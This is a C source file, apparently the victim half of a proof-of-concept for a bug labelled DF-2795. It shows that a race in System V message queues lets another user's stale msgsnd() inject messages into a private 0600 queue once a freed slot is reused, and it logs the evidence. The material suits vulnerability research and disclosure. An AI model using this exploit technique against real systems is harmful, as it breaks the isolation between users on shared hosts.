/*
 * DF-2795 victim half -- run as a DIFFERENT unprivileged uid.
 *
 * Handshake over an mmap'd shared word (ns latency, no syscalls):
 *   P writes state=1 (round queue created) + target slot index
 *   V: msgget-spins until it wins the freed slot (ENOSPC meanwhile),
 *      writes state=2, listens ~30ms for the injected message,
 *      IPC_RMID's it, writes state=3.
 * Nobody but this uid can write a 0600 queue owned by this uid, so any
 * message received is the stale msgsnd() sleeper.
 *
 * On success writes /var/tmp/df2795/hit.<pid> with the evidence.
 * cc -O2 -o victim victim.c
 */
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#define HITDIR	"/var/tmp/df2795"
#define CTRL	HITDIR "/ctrl"

struct ctrl {
	volatile unsigned int state;	/* 1=Q created 2=V holding 3=V freed */
	volatile unsigned int target_ix;
	volatile unsigned int vqid;
};

int
main(void)
{
	struct { long mtype; char mtext[256]; } m;
	struct ctrl *c;
	int fd, qid, n, i, hf;
	char path[256];
	pid_t me = getpid();

	setvbuf(stdout, NULL, _IOLBF, 0);
	fd = open(CTRL, O_RDWR);
	if (fd < 0) { perror("open " CTRL); return 2; }
	c = mmap(NULL, sizeof(*c), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (c == MAP_FAILED) { perror("mmap"); return 2; }

	for (;;) {
		/* wait for the attacker's round queue to exist */
		while (c->state != 1)
			usleep(50);

		/* spin msgget: ENOSPC until the RMID frees the target slot */
		for (;;) {
			qid = msgget(IPC_PRIVATE, 0600);
			if (qid >= 0)
				break;
			if (errno != ENOSPC && errno != EINTR) {
				perror("msgget");
				return 2;
			}
		}
		c->vqid = (unsigned int)qid;
		__sync_synchronize();
		c->state = 2;

		/* listen */
		for (i = 0; i < 30; i++) {
			n = msgrcv(qid, &m, sizeof(m.mtext), 0, IPC_NOWAIT);
			if (n >= 0) {
				snprintf(path, sizeof(path),
				    HITDIR "/hit.%d", (int)me);
				hf = open(path, O_CREAT | O_WRONLY, 0666);
				if (hf >= 0) {
					dprintf(hf,
					    "INJECTED into qid=%d (slot %u, "
					    "expected victim recreate of slot "
					    "%u) uid=%d mode=0600 private\n"
					    "mtype=0x%lx n=%d text=%.*s\n",
					    qid, (unsigned)(qid & 0xffff),
					    c->target_ix, getuid(), m.mtype,
					    n, n > 0 ? n : 0, m.mtext);
					close(hf);
				}
				printf("VICTIM uid %d RECEIVED INJECTED "
				    "MESSAGE on its private queue qid=%d "
				    "(slot %u): type=0x%lx \"%.*s\"\n",
				    getuid(), qid, (unsigned)(qid & 0xffff),
				    m.mtype, n > 0 ? n : 0, m.mtext);
				return 0;
			}
			usleep(1000);
		}
		msgctl(qid, IPC_RMID, NULL);
		c->state = 3;
	}
}
